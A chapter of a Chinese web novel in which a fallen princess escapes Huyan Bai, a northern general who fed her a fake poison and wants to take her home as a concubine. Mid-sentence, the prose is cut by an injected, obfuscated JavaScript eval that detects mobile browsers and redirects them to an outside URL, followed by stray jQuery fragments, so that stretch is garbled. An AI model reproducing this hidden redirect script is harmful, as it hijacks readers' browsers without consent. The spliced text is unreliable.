28. 反将一军

作品:《亡国后抱上了少年杀手的大腿

    江蝉在这里停留过!


    是刚刚吗?还是几天之前了?他是不是就在这附近?


    巨大的惊喜让洛成玉脑子里连问不停,甚至开始祈祷下一刻江蝉就会出现,狠揍呼延白一顿,从他那把所有解药抢过来。


    可是待她再次观察,却发现腰封上点点血迹干涸成暗红色,需仔细看才能辨认出来。


    江蝉也受伤了!


    洛成玉心一紧,又怕呼延白看出什么,因此不敢再停留,故作镇定迈步离开。直到回了家里,把门用棍子反别住,她心里才有了一点安全感。


    第二天,洛成玉无法,按照约定给呼延白带去了食物等,他也如约给了洛成玉解药。


    洛成玉稍稍安心,袖子里藏着的匕首没派上用场。


    “你叫什么名字?”呼延白恢复的速度堪称惊人,昨天还脸色苍白到透明,今天就已经面有血色,精神好了不少。


    “……程珠儿。”洛成玉胡乱编造。


    “呵,珠儿?”呼延白轻笑,突然站起身。


    洛成玉马上后退到洞穴入口处,随时准备逃跑。


    呼延白绝对是故意的。见到洛成玉警惕的样子不怒反笑,伸了个懒腰,懒散地站着整理自己的衣袖。


    “明天除了这些,”呼延白用眼神示意,“再带来一套便于行动的男装,最好还有一匹马。”


    “你真当我是女神仙啊?”洛成玉气急,也不客气,“许什么愿都能实现?”


    呼延白没想到洛成玉小命都拿捏在别人手里还能牙尖嘴利地刺他,不由得正色去瞧洛成玉。


    这模样还真像中原神话里的女神仙。


    他抬起手,隔空比划着,“把这捋散乱的头发梳上去的话,确实像女神仙。”


    他动作轻浮,早已令洛成玉恼火,本想厉色,但终究念及对方实力不容小觑,惹怒对方并不是明智之举,便暗自忍下。只是心里却开始琢磨如何扳回一城。


    她是什么没脾气的宠物吗?他就是觉得这么弱小的她不能掀起什么波澜才敢如此孟浪地对待她!


    于是她忍道:“好,待到第七天,你给我解药,我给你带来一匹马。”


    呼延白的漠北身份再明显不过。他突然出现在中原,恐怕和漠北南下的军队有千丝万缕的联系。这次受伤落单脱离了大部队,他肯定是要回到军营里的。


    至于他为什么不自己张罗这一切……


    洛成玉回去的路上一直在想,最后觉得比较可靠的理由是呼延白在躲避着什么人。恐怕有人在搜捕追杀他,他才躲避在山洞里不敢在伤好之前随意走动。


    那她日日出现在呼延白身边,实在是再危险不过了。


    洛成玉思来想去,提笔将这几日发生的事写下来放到屋子里最显眼的地方。若是江蝉回来,一眼就能看到。


    接下来几天,两个人都保持着微妙的平衡。


    只是呼延白眼神停留在她身上的时间越来越久了,久到洛成玉转身离去时依旧能感觉到被注视。这种黏腻的、侵略的、毫不克制的眼神,她从没再江蝉身上看见过。


    不知怎么的,这些日子洛成玉想起江蝉的时候越来越多,尤其是在面对呼延白的时候。


    她会忍不住拿呼延白的行为和江蝉进行对比。


    她才惊觉原来江蝉对她的一切行为都是克制又自矜。


    江蝉的看向她的眼神总是一片清明,仿佛不带什么情绪,可是仔细看分明又能从中看出他的耐心与认真。


    那双漆黑的眸子里,甚至能倒映出她的模样,始终清晰明媚。


    和江蝉相处于同一空间,洛成玉是自在轻松的,或许不自在的反倒是江蝉。


    洛成玉觉出江蝉的千般好,不禁更加思念他。


    静悄悄的夜里,洛成玉拿着小剪刀剪灯花,摇曳的红色火焰倒显得四周更清寂了。


    “江蝉。”


    少女的声音轻轻响起,或许期待有人会回应,可夜里除了偶尔的风声,再没有其他了。


    洛成玉泄气,枕着胳膊趴在桌案上发呆。


    她以前是不是也是这样思念陆鸣的到来呢?


    这一想可不得了。她发现记忆里关于陆鸣的一部分竟然开始模糊了,她有些记不清关于宫中岁月里她等待陆鸣到来的模样、想法,想不起来在等待陆鸣时,她的心里是不是也是如此失落。


    难道只是对江蝉这样吗?


    洛成玉猛地从桌案上直起身,表情落寞又无助。


    谁又能来告诉她该怎么做呢?


    窗外,有枝花悄悄绽放了,响起比灯花弱得多的声音,如同洛成玉的心事,无人知晓。


    ……


    “解药。”洛成玉如约在第七日牵着一匹白马出现。


    呼延白的伤已经大好了。客观上来讲,呼延白确实俊美非常,一双蓝眼睛像流动的湖水一样,倒映着天空的颜色。但他本人却不像天空湖水般平静柔和,他的眼神盯着一个人的时候,总像是猎手在找准猎物。


    洛成玉拉紧缰绳,再次冲着呼延白道:“先给我解药。”


    “哈哈哈!”谁知呼延白大笑道:“骗你的。”他语气里满是戏谑愉悦,“漠北确实有断魂丹,但我却没带在身上。给你吃的不过是会使你们中原人过敏的红丹,至于解药——”呼延白太过自信自己的实力,认为对洛成玉这种弱小的猎物坦白真相也不会失手,于是道:“不过是清热丹而已。你吃了三天,差不多就已经解了红丹的毒性。”


    呼延白说完,从怀里掏出一颗红丹来,捏在指间,“可看清了,当日给你喂下的就是这种药。”说完,吃糖丸一样抛进嘴里。


    漠北人天性血热,红丹对他们来说反而是滋补强身的补品。只是有时候吃多了,需服清热丹祛火罢了。


    他想要拉进他和洛成玉之间的关系,便用此举来让洛成玉放心,也让她看到他的诚意。


    刚见面的粗鲁确实是形势所迫,但现在他身体好转,心里有了底气,也便多了耐心与一点真心。于是他朝着洛成玉扬起手,“过来吧珠儿。”他在心底里反复练习过呼唤这个名字。


    从他的角度看去,阳光下的少女美得惊人。白皙如玉的皮肤吹弹可破,光泽的头发好像一匹中原千金难求的丝绸,恰到好处的一幅画,清冷又迷人。


    呼延白在山洞的无聊时刻便会想起这幅画来。原来前任大祭司的预言也不无道理,或许他真的会爱上一个中原女人,尽管在这之前他鄙夷每一个中原人。但是他绝不会娶中原女人当妻子,他未来的妻子必得是同族的优秀漠北姑娘,上能御马下能载舞,而不是弱不经风的花架子。


    至于他的珠儿……呼延白打量过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065233|161770||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    洛成玉的打扮,不见她身穿过珍贵的绮罗,戴过昂贵的珠玉,猜测她不过一个乡野村妇,甚至从她经常梳的发髻来看,她有可能已经嫁过人了。


    所以跟着他呼延白回漠北享受荣华,这女人完全没可能拒绝。


    他会给她宠爱和富贵,让她下半辈子无忧无虑。她只需要为他生下几个健康的儿女,在众多人伺候下等待在外征战的丈夫归来,小意温柔地伺候他。


    呼延白想,等到珠儿听到这一切,一定会激动得上前来拥抱他。


    由此,他甚至有些紧张,声线没了往日的沉稳,“珠儿,你还不知道我的身份。”


    听到呼延白开口,洛成玉面无表情,只是身子的肌肉绷紧,蓄势待发。


    但呼延白沉浸于自己编造的美梦,没能注意到这一点。


    “我乃漠北的一位将军,我会带你回漠北,让你做我的第一个女人。”呼延白今年刚满十七岁,虽然漠北像他这么大的男人也都未娶妻,但是早就娶了不少小老婆,孩子能满地跑了。只有呼延白还没有。他不是没有冲动的时刻,只是总觉得他还没有遇到心动的女人。身体上的冲动不足以让他全身心的投入。


    显然,呼延白太过自信。在他高声时,全然没有留意到洛成玉眼角眉梢一闪而过的讥讽不屑。


    他的心思若是让洛成玉听到了,定是要恶心的晚饭都吃不下了。


    堂堂玉溪公主,岂会看上那点施舍的富贵?


    漠北蛮荒之地,生长出来的将军也是如一片荒原般头脑简单。


    毕竟是要在呼延白眼前溜走,说不定还要嘲讽他一番。光想想,洛成玉就十分紧张兴奋。她的心跳越来越快,似乎要跳出她的胸膛了。


    但是洛成玉无暇顾及。


    她忽然轻轻扯动嘴角,“呼延白!”


    又清又亮的声音在天地间回荡。


    “?”呼延白一愣,疑惑她怎么会知道他的名字,转而不合时宜地想到:原来这个名字由她说出是如此好听。在他眼里,洛成玉只是个柔弱好糊弄的中原女人,根本不具备欺骗他的能力和胆识。


    洛成玉却不给他反应的时间,即刻翻身上马,“多谢你告诉我真相,至于做你的女人——你做梦去吧!”


    笑话,也不看看他自己配不配做她洛成玉的男人!


    七天里,洛成玉头一次这么畅快地舒出一口气。她紧紧地拉住缰绳,快速驾马,顾不得散开的发髻。余光里,呼延白已经反应过来追赶。


    他速度快到惊人,几乎就能触碰到马背。


    洛成玉心瞬间跳到嗓子眼,连忙纵声催促,马儿伶俐,尾巴从呼延白有力的掌中划过。


    大开大合的动作让呼延白好不容易好得差不多的伤口崩开,疼痛和理智让他站定。


    他眼神里的震惊还未消散。


    “将军!”一旁草丛里埋伏的士兵见状连忙从不远处纷纷跑过来。


    他们昨天就找到了呼延白,是听了呼延白的命令才在附近埋伏起来,怕一身漠北士兵装扮吓到洛成玉。


    不想,目睹了这变故。


    只是他们的主帅看起来好像并没有一开始生气,反倒笑了起来,语气隐隐有些兴奋:


    “好珠儿。”他手掌抚上胸口开裂的位置,感受着血的温热。


    “去,捉她回来见我。”